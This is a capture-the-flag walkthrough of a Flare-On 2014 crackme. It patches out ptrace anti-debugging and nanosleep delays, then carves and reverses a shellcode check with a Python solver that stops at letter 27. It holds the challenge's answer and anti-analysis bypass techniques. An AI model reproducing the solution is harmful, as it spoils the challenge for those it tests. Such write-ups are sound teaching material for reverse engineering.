remnux@remnux:~/Documents/Flare-on/2014/Chall5$ strace ./e7bc5d2c0cf4480348f5504196561297execve("./e7bc5d2c0cf4480348f5504196561297", ["./e7bc5d2c0cf4480348f55041965612"...], 0x7ffd6d797520 /* 49 vars */) = 0uname({sysname="Linux", nodename="remnux", ...}) = 0brk(NULL) = 0x3fde1000brk(0x3fde21c0) = 0x3fde21c0arch_prctl(ARCH_SET_FS, 0x3fde1880) = 0brk(0x3fe031c0) = 0x3fe031c0brk(0x3fe04000) = 0x3fe04000fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}) = 0mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f74a9d75000write(1, "no\n", 3no) = 3exit_group(52) = ?+++ exited with 52 +++# Running Strace with 2 argumentsremnux@remnux:~/Documents/Flare-on/2014/Chall5$ strace ./e7bc5d2c0cf4480348f5504196561297 arg1 arg2execve("./e7bc5d2c0cf4480348f5504196561297", ["./e7bc5d2c0cf4480348f55041965612"..., "arg1", "arg2"], 0x7ffdb7a46ad0 /* 49 vars */) = 0uname({sysname="Linux", nodename="remnux", ...}) = 0brk(NULL) = 0x7018000brk(0x70191c0) = 0x70191c0arch_prctl(ARCH_SET_FS, 0x7018880) = 0brk(0x703a1c0) = 0x703a1c0brk(0x703b000) = 0x703b000ptrace(PTRACE_TRACEME) = -1 EPERM (Operation not permitted)fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}) = 0mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fb585c32000write(1, "Program received signal SIGSEGV,"..., 52Program received signal SIGSEGV, Segmentation fault) = 52exit_group(9001) = ?+++ exited with 41 +++- This is simplest anti-debugging technique in Linux, simply,
- Here is the linux
syscalltable, https://web.archive.org/web/20201218060355/http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/.
if (ptrac(PTRACE_TRACEME, 0, 1, 0) == -1) BeingDebugged = true;Advance Static Analysis
- Here is the reference of
sys_ptraceinsub_4742B0function, so rename withmw_syscall_anti_debug_ptrace - TheΒ
ptraceΒ system call (sys_ptrace) in Linux is used by a tracer process to monitor and control a trace process, generally returningΒ0Β on success orΒ-1Β on error.

- this
mw_anti_debug_ptraceis referenced in another function which is checking the return value and if it is -1 which means failed then it will crash and returnSegmentation Faultso we have to patch that by replacing74 (jz)conditional jump withEB (jmp)unconditional jump. - I used this as reference,

if ( (mw_anti_debug_ptrace(0, 0, 1u, 0) & 0x8000000000000000LL) != 0LL ) { sub_45EBE0((__int64)"Program received signal SIGSEGV, Segmentation fault"); sub_45E790(9001); }Patch 1: ptrace patching
- So to patch that
- I need to first get opcodes to identify the hex sequence so to do that i used idaβs patch feature and get the sequence of opcodes,
74 14 BF 50 3B 4F 00 E8 B8 F9 03 00 BF 29 23 00
- I can use HxD, to change
74toEB,

- After that, i open it in ida and as you can see that it is taking unconditional jump with any condition so the patch worked perfectly.

- Now this command no longer given seg fault,
βββ(b14ckyγΏDESKTOP-VRSQRAJ)-[~/]ββ$ strace -i ./e7bc5d2c0cf4480348f5504196561297.patched arg1 arg2
[00007add30ede557] execve("./e7bc5d2c0cf4480348f5504196561297.patched", ["./e7bc5d2c0cf4480348f55041965612"..., "arg1", "arg2"], 0x7fff3abb55b8 /* 35 vars */) = 0[00000000004a9297] uname({sysname="Linux", nodename="DESKTOP-VRSQRAJ", ...}) = 0[00000000004aa78a] brk(NULL) = 0x27391000[00000000004aa78a] brk(0x273921c0) = 0x273921c0[000000000045e3f5] arch_prctl(ARCH_SET_FS, 0x27391880) = 0[00000000004aa78a] brk(0x273b31c0) = 0x273b31c0[00000000004aa78a] brk(0x273b4000) = 0x273b4000[000000000047431b] ptrace(PTRACE_TRACEME) = -1 EPERM (Operation not permitted)[0000000000473e44] fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}) = 0[000000000047509a] mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x778d0840d000[0000000000473f50] write(1, "bad\n", 4bad) = 4[0000000000473dd8] exit_group(420) = ?[????????????????] +++ exited with 164 +++- Now lets analyze the
sub_435E20which hasbadstring so i renamed it asmw_bad_strand by doing some digging i can see that it is checking that argument length is 10 or not.

- By analyzing further we understand that the string βbngcg`debdβ is XORβed withΒ
0x56Β to obtain the value of the 1st argument.

- By doing XOR i get this value
4815162342, which is exactly 10 digit long so i passed this as argument in patched program,

- We can see a
nanosleepat offsetΒ0x473d50.
βββ(b14ckyγΏDESKTOP-VRSQRAJ)-[~/]ββ$ strace -i ./e7bc5d2c0cf4480348f5504196561297.patched 4815162342 arg2
[00007f2fa72de557] execve("./e7bc5d2c0cf4480348f5504196561297.patched", ["./e7bc5d2c0cf4480348f55041965612"..., "4815162342", "arg2"], 0x7ffcc1afea98 /* 35 vars */) = 0[00000000004a9297] uname({sysname="Linux", nodename="DESKTOP-VRSQRAJ", ...}) = 0[00000000004aa78a] brk(NULL) = 0x2c36a000[00000000004aa78a] brk(0x2c36b1c0) = 0x2c36b1c0[000000000045e3f5] arch_prctl(ARCH_SET_FS, 0x2c36a880) = 0[00000000004aa78a] brk(0x2c38c1c0) = 0x2c38c1c0[00000000004aa78a] brk(0x2c38d000) = 0x2c38d000[000000000047431b] ptrace(PTRACE_TRACEME) = -1 EPERM (Operation not permitted)[000000000047c9c0] rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0[000000000047c882] rt_sigaction(SIGCHLD, NULL, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0[000000000047c9c0] rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0[0000000000473d50] nanosleep({tv_sec=3600, tv_nsec=0}, ^C{tv_sec=3581, tv_nsec=387430080}) = ? ERESTART_RESTARTBLOCK (Interrupted by signal)nanosleep(3600 seconds);which is 1 hour,- it is used for
- Waste analyst time
- Beat sandbox timeouts
- Make sample look βhungβ
- At this
0x473d50offset it it doing syscall tonanosleep, and the function issub_473D40. - InΒ IDA Pro, we confirmΒ 0x63Β (35) is moved toΒ EAXΒ andΒ syscallΒ is then called.
- Still referring to theΒ syscall table, we confirm it corresponds to
nanosleep. - https://man7.org/linux/man-pages/man2/nanosleep.2.html

Patch 2: nanosleep patch
- We can see that
nanosleepis called 2 times in the function. - Letβs patch the code by replacingΒ syscallΒ withΒ NOPβs, as follows:
- So same as previously we grep the hex stream which is this,
B8 23 00 00 00 0F 05
- Using HxD we will patch that,

- After that i checked the
diffboth and here is what i got,
< e7bc5d2c0cf4480348f5504196561297.patched2: file format elf64-x86-64---> e7bc5d2c0cf4480348f5504196561297.patched2.bak: file format elf64-x86-64122582,122588c122582,122583< 473d49: 90 nop< 473d4a: 90 nop< 473d4b: 90 nop< 473d4c: 90 nop< 473d4d: 90 nop< 473d4e: 90 nop< 473d4f: 90 nop---> 473d49: b8 23 00 00 00 mov eax,0x23> 473d4e: 0f 05 syscall122595,122601c122590,122591< 473d6a: 90 nop< 473d6b: 90 nop< 473d6c: 90 nop< 473d6d: 90 nop< 473d6e: 90 nop< 473d6f: 90 nop< 473d70: 90 nop---> 473d6a: b8 23 00 00 00 mov eax,0x23> 473d6f: 0f 05 syscall- Now we know that this first argument but what about second argument,
- So i dig little and found that some bytes are being encoded using base64.
- I got into the habit of copying the base64 bytes and setting up breakpoints every once in a while to get back to a checkpoint after each crash.
sub_401164function decodes the bytes from base64.


- After some analysis i found that those bytes are shellcode,
- This is the flow of shellcode function,
entry ->sub_452079 -> sub_44D525 -> sub_44BE43 -> sub_44B942 (Decompile_problem) -> mw_base64_decode -> mw_shellcode_susAdvance Dynamic Analysis
- I used
edbtool for dynamic debugging for elf, - So i go to that
0x44bb2blocation and i found that it is calling, as discussed previously,
00000000:0044bb2b ff d2 call rdx- So we can dump it by doing follow in dump of
rdxand we get the shellcode, - I carve the shellcode and remove some unnecessary bytes,

- I step into the function and see where shellcode ends and it is ending on this last operation, so up till this i kept and remove remaining bytes,
0x00007ffd6741cc8c: 80 38 D7 cmp byte ptr [eax], 0xd7Stage 2 Shellcode Analysis
Initial Triage
- File Type: shellcode.bin: data
- Size: 607 bytes
- SHA256: 85b70829d62ab78429754247036a540afdb3548608cef9bbde53bef1f6ccd8c5
Basic Static Analysis
- I checked VT for this hash, but it gives no results,
- So i upload it and check whether it gives something, but nothing


Advance Static Analysis
- This is 2nd stage shellcode carved from 1st stage elf,
48 89 f8 e8 00 00 00 00 48 8b 1c 24 48 83 c3 0a eb 0a 48 31 d2 48 31 c0 b0 3c 0f 05 c0 08 f2 80 38 1b 74 02 ff e3 48 83 c0 01 80 30 40 80 30 f2 80 30 b3 80 38 30 74 02 ff e3 48 83 c0 01 80 30 71 80 38 1f 74 02 ff e3 48 83 c0 01 80 00 a3 c0 08 bc 80 38 b0 74 02 ff e3 48 83 c0 01 80 28 79 80 38 e8 74 02 ff e3 48 83 c0 01 c0 08 82 80 28 28 80 38 f6 74 02 ff e3 48 83 c0 01 80 28 b0 c0 08 4d 80 00 2c 80 38 1f 74 02 ff e3 48 83 c0 01 80 00 54 c0 00 99 80 30 b8 c0 08 2a 80 00 3f 80 38 af 74 02 ff e3 48 83 c0 01 c0 08 ba 80 38 5d 74 02 ff e3 48 83 c0 01 80 30 ed c0 08 6c 80 00 30 80 38 29 74 02 ff e3 48 83 c0 01 80 28 bf 80 38 b5 74 02 ff e3 48 83 c0 01 c0 00 bc 80 00 8c c0 00 7b 80 28 31 80 00 63 80 38 a5 74 02 ff e3 48 83 c0 01 c0 00 20 c0 00 16 80 30 ae c0 00 98 80 38 f3 74 02 ff e3 48 83 c0 01 c0 08 6e 80 00 d2 80 38 a6 74 02 ff e3 48 83 c0 01 80 00 34 80 38 62 74 02 ff e3 48 83 c0 01 80 00 cd 80 28 10 80 00 62 80 30 b2 80 38 32 74 02 ff e3 48 83 c0 01 80 30 b7 80 30 73 c0 08 07 80 38 eb 74 02 ff e3 48 83 c0 01 80 00 34 80 28 61 c0 08 36 80 00 5b 80 28 4c 80 38 0b 74 02 ff e3 48 83 c0 01 80 00 5a 80 38 9a 74 02 ff e3 48 83 c0 01 c0 08 a2 80 38 99 74 02 ff e3 48 83 c0 01 80 30 7e 80 28 e7 80 38 2b 74 02 ff e3 48 83 c0 01 80 28 b8 80 30 86 80 00 4e c0 08 4a c0 00 57 80 38 af 74 02 ff e3 48 83 c0 01 c0 08 86 80 30 e8 c0 00 95 80 30 4a 80 30 ad 80 38 c3 74 02 ff e3 48 83 c0 01 c0 08 45 80 30 cc 80 00 1c 80 38 03 74 02 ff e3 48 83 c0 01 80 28 4a 80 38 e3 74 02 ff e3 48 83 c0 01 80 30 a5 c0 08 90 80 38 ca 74 02 ff e3 48 83 c0 01 c0 08 de c0 00 36 80 30 78 80 28 d8 80 38 3e 74 02 ff e3 48 83 c0 01 80 00 b5 80 28 ad c0 08 89 c0 00 a2 c0 00 11 80 38 d8 74 02 ff e3 48 83 c0 01 80 00 40 80 28 21 c0 08 c0 80 38 82 74 02 ff e3 48 83 c0 01 c0 00 e3 80 38 7b 74 02 ff e3 48 83 c0 01 80 28 78 c0 08 f6 80 38 d7- And this is actual disassembled assembly,
0x0000000000000000: 48 dec eax0x0000000000000001: 89 F8 mov eax, edi0x0000000000000003: E8 00 00 00 00 call 80x0000000000000008: 48 dec eax0x0000000000000009: 8B 1C 24 mov ebx, dword ptr [esp]0x000000000000000c: 48 dec eax0x000000000000000d: 83 C3 0A add ebx, 0xa0x0000000000000010: EB 0A jmp 0x1c0x0000000000000012: 48 dec eax0x0000000000000013: 31 D2 xor edx, edx0x0000000000000015: 48 dec eax0x0000000000000016: 31 C0 xor eax, eax0x0000000000000018: B0 3C mov al, 0x3c0x000000000000001a: 0F 05 syscall0x000000000000001c: C0 08 F2 ror byte ptr [eax], 0xf20x000000000000001f: 80 38 1B cmp byte ptr [eax], 0x1b0x0000000000000022: 74 02 je 0x260x0000000000000024: FF E3 jmp ebx0x0000000000000026: 48 dec eax0x0000000000000027: 83 C0 01 add eax, 10x000000000000002a: 80 30 40 xor byte ptr [eax], 0x400x000000000000002d: 80 30 F2 xor byte ptr [eax], 0xf20x0000000000000030: 80 30 B3 xor byte ptr [eax], 0xb30x0000000000000033: 80 38 30 cmp byte ptr [eax], 0x300x0000000000000036: 74 02 je 0x3a0x0000000000000038: FF E3 jmp ebx0x000000000000003a: 48 dec eax0x000000000000003b: 83 C0 01 add eax, 10x000000000000003e: 80 30 71 xor byte ptr [eax], 0x710x0000000000000041: 80 38 1F cmp byte ptr [eax], 0x1f0x0000000000000044: 74 02 je 0x480x0000000000000046: FF E3 jmp ebx0x0000000000000048: 48 dec eax0x0000000000000049: 83 C0 01 add eax, 10x000000000000004c: 80 00 A3 add byte ptr [eax], 0xa30x000000000000004f: C0 08 BC ror byte ptr [eax], 0xbc0x0000000000000052: 80 38 B0 cmp byte ptr [eax], 0xb00x0000000000000055: 74 02 je 0x590x0000000000000057: FF E3 jmp ebx0x0000000000000059: 48 dec eax0x000000000000005a: 83 C0 01 add eax, 10x000000000000005d: 80 28 79 sub byte ptr [eax], 0x790x0000000000000060: 80 38 E8 cmp byte ptr [eax], 0xe80x0000000000000063: 74 02 je 0x670x0000000000000065: FF E3 jmp ebx0x0000000000000067: 48 dec eax0x0000000000000068: 83 C0 01 add eax, 10x000000000000006b: C0 08 82 ror byte ptr [eax], 0x820x000000000000006e: 80 28 28 sub byte ptr [eax], 0x280x0000000000000071: 80 38 F6 cmp byte ptr [eax], 0xf60x0000000000000074: 74 02 je 0x780x0000000000000076: FF E3 jmp ebx0x0000000000000078: 48 dec eax0x0000000000000079: 83 C0 01 add eax, 10x000000000000007c: 80 28 B0 sub byte ptr [eax], 0xb00x000000000000007f: C0 08 4D ror byte ptr [eax], 0x4d0x0000000000000082: 80 00 2C add byte ptr [eax], 0x2c0x0000000000000085: 80 38 1F cmp byte ptr [eax], 0x1f0x0000000000000088: 74 02 je 0x8c0x000000000000008a: FF E3 jmp ebx0x000000000000008c: 48 dec eax0x000000000000008d: 83 C0 01 add eax, 10x0000000000000090: 80 00 54 add byte ptr [eax], 0x540x0000000000000093: C0 00 99 rol byte ptr [eax], 0x990x0000000000000096: 80 30 B8 xor byte ptr [eax], 0xb80x0000000000000099: C0 08 2A ror byte ptr [eax], 0x2a0x000000000000009c: 80 00 3F add byte ptr [eax], 0x3f0x000000000000009f: 80 38 AF cmp byte ptr [eax], 0xaf0x00000000000000a2: 74 02 je 0xa60x00000000000000a4: FF E3 jmp ebx0x00000000000000a6: 48 dec eax0x00000000000000a7: 83 C0 01 add eax, 10x00000000000000aa: C0 08 BA ror byte ptr [eax], 0xba0x00000000000000ad: 80 38 5D cmp byte ptr [eax], 0x5d0x00000000000000b0: 74 02 je 0xb40x00000000000000b2: FF E3 jmp ebx0x00000000000000b4: 48 dec eax0x00000000000000b5: 83 C0 01 add eax, 10x00000000000000b8: 80 30 ED xor byte ptr [eax], 0xed0x00000000000000bb: C0 08 6C ror byte ptr [eax], 0x6c0x00000000000000be: 80 00 30 add byte ptr [eax], 0x300x00000000000000c1: 80 38 29 cmp byte ptr [eax], 0x290x00000000000000c4: 74 02 je 0xc80x00000000000000c6: FF E3 jmp ebx0x00000000000000c8: 48 dec eax0x00000000000000c9: 83 C0 01 add eax, 10x00000000000000cc: 80 28 BF sub byte ptr [eax], 0xbf0x00000000000000cf: 80 38 B5 cmp byte ptr [eax], 0xb50x00000000000000d2: 74 02 je 0xd60x00000000000000d4: FF E3 jmp ebx0x00000000000000d6: 48 dec eax0x00000000000000d7: 83 C0 01 add eax, 10x00000000000000da: C0 00 BC rol byte ptr [eax], 0xbc0x00000000000000dd: 80 00 8C add byte ptr [eax], 0x8c0x00000000000000e0: C0 00 7B rol byte ptr [eax], 0x7b0x00000000000000e3: 80 28 31 sub byte ptr [eax], 0x310x00000000000000e6: 80 00 63 add byte ptr [eax], 0x630x00000000000000e9: 80 38 A5 cmp byte ptr [eax], 0xa50x00000000000000ec: 74 02 je 0xf00x00000000000000ee: FF E3 jmp ebx0x00000000000000f0: 48 dec eax0x00000000000000f1: 83 C0 01 add eax, 10x00000000000000f4: C0 00 20 rol byte ptr [eax], 0x200x00000000000000f7: C0 00 16 rol byte ptr [eax], 0x160x00000000000000fa: 80 30 AE xor byte ptr [eax], 0xae0x00000000000000fd: C0 00 98 rol byte ptr [eax], 0x980x0000000000000100: 80 38 F3 cmp byte ptr [eax], 0xf30x0000000000000103: 74 02 je 0x1070x0000000000000105: FF E3 jmp ebx0x0000000000000107: 48 dec eax0x0000000000000108: 83 C0 01 add eax, 10x000000000000010b: C0 08 6E ror byte ptr [eax], 0x6e0x000000000000010e: 80 00 D2 add byte ptr [eax], 0xd20x0000000000000111: 80 38 A6 cmp byte ptr [eax], 0xa60x0000000000000114: 74 02 je 0x1180x0000000000000116: FF E3 jmp ebx0x0000000000000118: 48 dec eax0x0000000000000119: 83 C0 01 add eax, 10x000000000000011c: 80 00 34 add byte ptr [eax], 0x340x000000000000011f: 80 38 62 cmp byte ptr [eax], 0x620x0000000000000122: 74 02 je 0x1260x0000000000000124: FF E3 jmp ebx0x0000000000000126: 48 dec eax0x0000000000000127: 83 C0 01 add eax, 10x000000000000012a: 80 00 CD add byte ptr [eax], 0xcd0x000000000000012d: 80 28 10 sub byte ptr [eax], 0x100x0000000000000130: 80 00 62 add byte ptr [eax], 0x620x0000000000000133: 80 30 B2 xor byte ptr [eax], 0xb20x0000000000000136: 80 38 32 cmp byte ptr [eax], 0x320x0000000000000139: 74 02 je 0x13d0x000000000000013b: FF E3 jmp ebx0x000000000000013d: 48 dec eax0x000000000000013e: 83 C0 01 add eax, 10x0000000000000141: 80 30 B7 xor byte ptr [eax], 0xb70x0000000000000144: 80 30 73 xor byte ptr [eax], 0x730x0000000000000147: C0 08 07 ror byte ptr [eax], 70x000000000000014a: 80 38 EB cmp byte ptr [eax], 0xeb0x000000000000014d: 74 02 je 0x1510x000000000000014f: FF E3 jmp ebx0x0000000000000151: 48 dec eax0x0000000000000152: 83 C0 01 add eax, 10x0000000000000155: 80 00 34 add byte ptr [eax], 0x340x0000000000000158: 80 28 61 sub byte ptr [eax], 0x610x000000000000015b: C0 08 36 ror byte ptr [eax], 0x360x000000000000015e: 80 00 5B add byte ptr [eax], 0x5b0x0000000000000161: 80 28 4C sub byte ptr [eax], 0x4c0x0000000000000164: 80 38 0B cmp byte ptr [eax], 0xb0x0000000000000167: 74 02 je 0x16b0x0000000000000169: FF E3 jmp ebx0x000000000000016b: 48 dec eax0x000000000000016c: 83 C0 01 add eax, 10x000000000000016f: 80 00 5A add byte ptr [eax], 0x5a0x0000000000000172: 80 38 9A cmp byte ptr [eax], 0x9a0x0000000000000175: 74 02 je 0x1790x0000000000000177: FF E3 jmp ebx0x0000000000000179: 48 dec eax0x000000000000017a: 83 C0 01 add eax, 10x000000000000017d: C0 08 A2 ror byte ptr [eax], 0xa20x0000000000000180: 80 38 99 cmp byte ptr [eax], 0x990x0000000000000183: 74 02 je 0x1870x0000000000000185: FF E3 jmp ebx0x0000000000000187: 48 dec eax0x0000000000000188: 83 C0 01 add eax, 10x000000000000018b: 80 30 7E xor byte ptr [eax], 0x7e0x000000000000018e: 80 28 E7 sub byte ptr [eax], 0xe70x0000000000000191: 80 38 2B cmp byte ptr [eax], 0x2b0x0000000000000194: 74 02 je 0x1980x0000000000000196: FF E3 jmp ebx0x0000000000000198: 48 dec eax0x0000000000000199: 83 C0 01 add eax, 10x000000000000019c: 80 28 B8 sub byte ptr [eax], 0xb80x000000000000019f: 80 30 86 xor byte ptr [eax], 0x860x00000000000001a2: 80 00 4E add byte ptr [eax], 0x4e0x00000000000001a5: C0 08 4A ror byte ptr [eax], 0x4a0x00000000000001a8: C0 00 57 rol byte ptr [eax], 0x570x00000000000001ab: 80 38 AF cmp byte ptr [eax], 0xaf0x00000000000001ae: 74 02 je 0x1b20x00000000000001b0: FF E3 jmp ebx0x00000000000001b2: 48 dec eax0x00000000000001b3: 83 C0 01 add eax, 10x00000000000001b6: C0 08 86 ror byte ptr [eax], 0x860x00000000000001b9: 80 30 E8 xor byte ptr [eax], 0xe80x00000000000001bc: C0 00 95 rol byte ptr [eax], 0x950x00000000000001bf: 80 30 4A xor byte ptr [eax], 0x4a0x00000000000001c2: 80 30 AD xor byte ptr [eax], 0xad0x00000000000001c5: 80 38 C3 cmp byte ptr [eax], 0xc30x00000000000001c8: 74 02 je 0x1cc0x00000000000001ca: FF E3 jmp ebx0x00000000000001cc: 48 dec eax0x00000000000001cd: 83 C0 01 add eax, 10x00000000000001d0: C0 08 45 ror byte ptr [eax], 0x450x00000000000001d3: 80 30 CC xor byte ptr [eax], 0xcc0x00000000000001d6: 80 00 1C add byte ptr [eax], 0x1c0x00000000000001d9: 80 38 03 cmp byte ptr [eax], 30x00000000000001dc: 74 02 je 0x1e00x00000000000001de: FF E3 jmp ebx0x00000000000001e0: 48 dec eax0x00000000000001e1: 83 C0 01 add eax, 10x00000000000001e4: 80 28 4A sub byte ptr [eax], 0x4a0x00000000000001e7: 80 38 E3 cmp byte ptr [eax], 0xe30x00000000000001ea: 74 02 je 0x1ee0x00000000000001ec: FF E3 jmp ebx0x00000000000001ee: 48 dec eax0x00000000000001ef: 83 C0 01 add eax, 10x00000000000001f2: 80 30 A5 xor byte ptr [eax], 0xa50x00000000000001f5: C0 08 90 ror byte ptr [eax], 0x900x00000000000001f8: 80 38 CA cmp byte ptr [eax], 0xca0x00000000000001fb: 74 02 je 0x1ff0x00000000000001fd: FF E3 jmp ebx0x00000000000001ff: 48 dec eax0x0000000000000200: 83 C0 01 add eax, 10x0000000000000203: C0 08 DE ror byte ptr [eax], 0xde0x0000000000000206: C0 00 36 rol byte ptr [eax], 0x360x0000000000000209: 80 30 78 xor byte ptr [eax], 0x780x000000000000020c: 80 28 D8 sub byte ptr [eax], 0xd80x000000000000020f: 80 38 3E cmp byte ptr [eax], 0x3e0x0000000000000212: 74 02 je 0x2160x0000000000000214: FF E3 jmp ebx0x0000000000000216: 48 dec eax0x0000000000000217: 83 C0 01 add eax, 10x000000000000021a: 80 00 B5 add byte ptr [eax], 0xb50x000000000000021d: 80 28 AD sub byte ptr [eax], 0xad0x0000000000000220: C0 08 89 ror byte ptr [eax], 0x890x0000000000000223: C0 00 A2 rol byte ptr [eax], 0xa20x0000000000000226: C0 00 11 rol byte ptr [eax], 0x110x0000000000000229: 80 38 D8 cmp byte ptr [eax], 0xd80x000000000000022c: 74 02 je 0x2300x000000000000022e: FF E3 jmp ebx0x0000000000000230: 48 dec eax0x0000000000000231: 83 C0 01 add eax, 10x0000000000000234: 80 00 40 add byte ptr [eax], 0x400x0000000000000237: 80 28 21 sub byte ptr [eax], 0x210x000000000000023a: C0 08 C0 ror byte ptr [eax], 0xc00x000000000000023d: 80 38 82 cmp byte ptr [eax], 0x820x0000000000000240: 74 02 je 0x2440x0000000000000242: FF E3 jmp ebx0x0000000000000244: 48 dec eax0x0000000000000245: 83 C0 01 add eax, 10x0000000000000248: C0 00 E3 rol byte ptr [eax], 0xe30x000000000000024b: 80 38 7B cmp byte ptr [eax], 0x7b0x000000000000024e: 74 02 je 0x2520x0000000000000250: FF E3 jmp ebx0x0000000000000252: 48 dec eax0x0000000000000253: 83 C0 01 add eax, 10x0000000000000256: 80 28 78 sub byte ptr [eax], 0x780x0000000000000259: C0 08 F6 ror byte ptr [eax], 0xf60x000000000000025c: 80 38 D7 cmp byte ptr [eax], 0xd7- As you can see, for each letter, there are transformations (ror, rol, xor, add, sub) applied to the letter provided. The result is then compared to an expected result. If it succeeds (expected result), the program continues and if it fails, it exits.
- Since we have the result of the transformations for each letter, it is possible to reverse the logic to get the initial letter. Letβs take an example (letter 4). The code is as follows:
add byte ptr [rax], 0xa3ror byte ptr [rax], 0xbccmp byte ptr [rax], 0xb0
- As you can see it is character by character check so we have to make script to automate it,

- This script reverses a byte-by-byte verification routine or decryption in the binary to recover the correct second command-line argument.
- In short, you have to enter 2nd flag as arg2 and it will perform certain operation with each character and compare it and if succeed then proceed.
- So we can build flag from this operation by reverse decoding it.
- Script Taken from: https://www.aldeid.com/wiki/The-FLARE-On-Challenge-01/Challenge-6
#!/usr/bin/env python
# source for rol and ror: http://www.falatic.com/index.php/108/python-and-bitwise-rotation# Rotate left. Set max_bits to 8.rol = lambda val, r_bits, max_bits=8: \ (val << r_bits%max_bits) & (2**max_bits-1) | \ ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
# Rotate right. Set max_bits to 8.ror = lambda val, r_bits, max_bits=8: \ ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
l = []
### Letter 1"""ror byte ptr [rax], 0xf2cmp byte ptr [rax], 27"""l.append( rol(27, 0xf2) )
### Letter 2"""xor byte ptr [rax], 64xor byte ptr [rax], 0xf2xor byte ptr [rax], 0xb3cmp byte ptr [rax], 48"""l.append( 48 ^ 0xb3 ^ 0xf2 ^ 64 )
### Letter 3"""xor byte ptr [rax], 113cmp byte ptr [rax], 31"""l.append( 31 ^ 113 )
### letter 4"""add byte ptr [rax], 0xa3ror byte ptr [rax], 0xbccmp byte ptr [rax], 0xb0"""l.append( rol(0xb0, 0xbc) - 0xa3 )
### letter 5"""sub byte ptr [rax], 121cmp byte ptr [rax], 0xe8"""l.append( 0xe8 + 121 )
### letter 6"""ror byte ptr [rax], 0x82sub byte ptr [rax], 40cmp byte ptr [rax], 0xf6"""l.append( rol(0xf6 + 40, 0x82) )
### letter 7"""sub byte ptr [rax], 0xb0ror byte ptr [rax], 77add byte ptr [rax], 44cmp byte ptr [rax], 31"""l.append( rol(31 - 44, 77) + 0xb0 )
### letter 8"""add byte ptr [rax], 84rol byte ptr [rax], 0x99xor byte ptr [rax], 0xb8ror byte ptr [rax], 42add byte ptr [rax], 63cmp byte ptr [rax], 0xaf"""l.append( ror(rol(0xaf - 63, 42) ^ 0xb8, 0x99) - 84 )
### letter 9"""ror byte ptr [rax], 0xbacmp byte ptr [rax], 93"""l.append( rol(93, 0xba) )
### letter 10"""xor byte ptr [rax], 0xedror byte ptr [rax], 108add byte ptr [rax], 48cmp byte ptr [rax], 41"""l.append( rol(41 - 48, 108) ^ 0xed )
### letter 11"""sub byte ptr [rax], 0xbfcmp byte ptr [rax], 0xb5"""l.append( 0xb5 + 0xbf )
### letter 12"""rol byte ptr [rax], 0xbcadd byte ptr [rax], 0x8crol byte ptr [rax], 123sub byte ptr [rax], 49add byte ptr [rax], 99cmp byte prt [rax], 0xa5"""l.append( ror(ror(0xa5 - 99 + 49, 123) - 0x8c, 0xbc) )
### letter 13"""rol byte ptr [rax], 32rol byte ptr [rax], 22xor byte ptr [rax], 0xaerol byte ptr [rax], 0x98cmp byte ptr [rax], 0xf3"""l.append( ror(ror(ror(0xf3, 0x98) ^ 0xae, 22), 32) )
### letter 14"""ror byte ptr [rax], 110add byte ptr [rax], 0xd2cmp byte ptr [rax], 0xa6"""l.append( rol(0xa6 - 0xd2, 110) )
### letter 15"""add byte ptr [rax], 52cmp byte ptr [rax], 98"""l.append( 98 - 52 )
### letter 16"""add byte ptr [rax], 0xcdsub byte ptr [rax], 16add byte ptr [rax], 98xor byte ptr [rax], 0xb2cmp byte ptr [rax], 50"""l.append( (50 ^ 0xb2) - 98 + 16 - 0xcd )
### letter 17"""xor byte ptr [rax], 0xb7xor byte ptr [rax], 115ror byte ptr [rax], 7cmp byte ptr [rax], 0xeb"""l.append( rol(0xeb, 7) ^ 115 ^ 0xb7 )
### letter 18"""add byte ptr [rax], 52sub byte ptr [rax], 97ror byte ptr [rax], 54add byte ptr [rax], 91sub byte ptr [rax], 76cmp byte ptr [rax], 11"""l.append( rol(11 + 76 - 91, 54) + 97 - 52 )
### letter 19"""add byte ptr [rax], 90cmp byte ptr [rax], 0x9a"""l.append( 0x9a - 90 )
### letter 20"""ror byte ptr [rax], 0xa2cmp byte ptr [rax], 0x99"""l.append( rol(0x99, 0xa2) )
### letter 21"""xor byte ptr [rax], 126sub byte ptr [rax], 0xe7cmp byte ptr [rax], 43"""l.append( (43 + 0xe7) ^ 126 )
### letter 22"""sub byte ptr [rax], 0xb8xor byte ptr [rax], 0x86add byte ptr [rax], 78ror byte ptr [rax], 74rol byte ptr [rax], 87cmp byte ptr [rax], 0xaf"""l.append( ((rol(ror(0xaf, 87), 74) - 78) ^ 0x86) + 0xb8 )
### letter 23"""ror byte ptr [rax], 0x86xor byte ptr [rax], 0xe8rol byte ptr [rax], 0x95xor byte ptr [rax], 74xor byte ptr [rax], 0xadcmp byte ptr [rax], 0xc3"""l.append( rol(ror(0xc3 ^ 0xad ^ 74, 0x95) ^ 0xe8, 0x86) )
### letter 24"""ror byte ptr [rax], 69xor byte ptr [rax], 0xccadd byte ptr [rax], 28cmp byte ptr [rax], 3"""l.append( rol((3 - 28) ^ 0xcc, 69) )
### letter 25"""sub byte ptr [rax], 74cmp byte ptr [rax], 0xe3"""l.append( 0xe3 + 74 )
### letter 26"""xor byte ptr [rax], 0xa5ror byte ptr [rax], 0x90cmp byte ptr [rax], 0xca"""l.append( rol(0xca, 0x90) ^ 0xa5 )
### letter 27"""ror byte ptr [rax], 0xderol byte ptr [rax], 54xor byte ptr [rax], 120sub byte ptr [rax], 0xd8cmp byte ptr [rax], 62"""l.append( rol(ror((62 + 0xd8) ^ 120, 54), 0xde) )
